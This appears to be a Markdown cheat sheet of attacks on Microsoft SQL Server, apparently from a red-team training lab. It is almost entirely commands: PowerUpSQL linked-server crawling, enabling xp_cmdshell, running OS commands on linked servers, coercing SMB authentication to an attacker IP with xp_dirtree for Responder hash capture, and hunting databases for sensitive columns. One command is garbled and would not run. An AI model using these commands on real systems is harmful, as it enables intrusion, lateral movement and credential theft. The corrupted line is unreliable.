25 lines
1.7 KiB
Markdown
25 lines
1.7 KiB
Markdown
- PowerUpSQL
|
|
- `powershell Get-SQLServerLinkCrawl -Instance 'sql-1.cyberbotic.io,1433'`
|
|
- `powershell Get-SQLServerLinkCrawl -Instance 'sql-1.cyberbotic.io,1433' -Query 'select @@version' | select Instance, CustomQuery | % { $_ | Add-Member NoteProperty 'QueryResult' $($_.CustomQuery[0]); $_ } | fl`
|
|
- Queries:
|
|
- `SELECT @@version`
|
|
- `SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell'`
|
|
- `EXEC xp_cmxp_cmdshell dshell 'dir C:\'`
|
|
- List databases
|
|
- `SELECT name,database_id,create_date from sys.databases`
|
|
- List db admins
|
|
- `SELECT name,type_desc,is_disabled,create_date FROM master.sys.server_principals WHERE IS_SRVROLEMEMBER ('sysadmin',name) = 1 ORDER BY name`
|
|
- Enable xp_cmdshell:
|
|
- `sp_configure 'Show Advanced Options', 1; RECONFIGURE;`
|
|
- `sp_configure 'xp_cmdshell', 1; RECONFIGURE`
|
|
- Use xp_dirtree (with Responder)
|
|
- `EXEC master.sys.xp_dirtree '\\10.10.14.12\CTHULHUFHTAGN',1,1`
|
|
- Discover linked databases:
|
|
- `SELECT * FROM master..sysservers`
|
|
- Execute queries on linked databases:
|
|
- `SELECT * FROM OPENQUERY("SQL02.DEV.ZEROPOINTSECURITY.CO.UK", 'select * FROM master..sysservers')`
|
|
- `EXEC('xp_cmdshell "dir C:\"') AT [sql02.dev.zeropointsecurity.co.uk]`
|
|
- `SELECT * FROM OPENQUERY("sql02.dev.zeropointsecurity.co.uk", 'select * from sys.configurations where name = ''xp_cmdshell''')`
|
|
- `SELECT * FROM OPENQUERY("sql02.dev.zeropointsecurity.co.uk", 'select @@servername; exec xp_cmdshell ''whoami''')`
|
|
- Search for specific keywords in databases and format results into table
|
|
- `Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded | ? { $_.Status -eq 'Accessible' } | Get-SQLColumnSampleDataThreaded -SampleSize 5 -Keywords 'student,name' -NoDefaults | select instance, database, column, sample | ft -autosize` |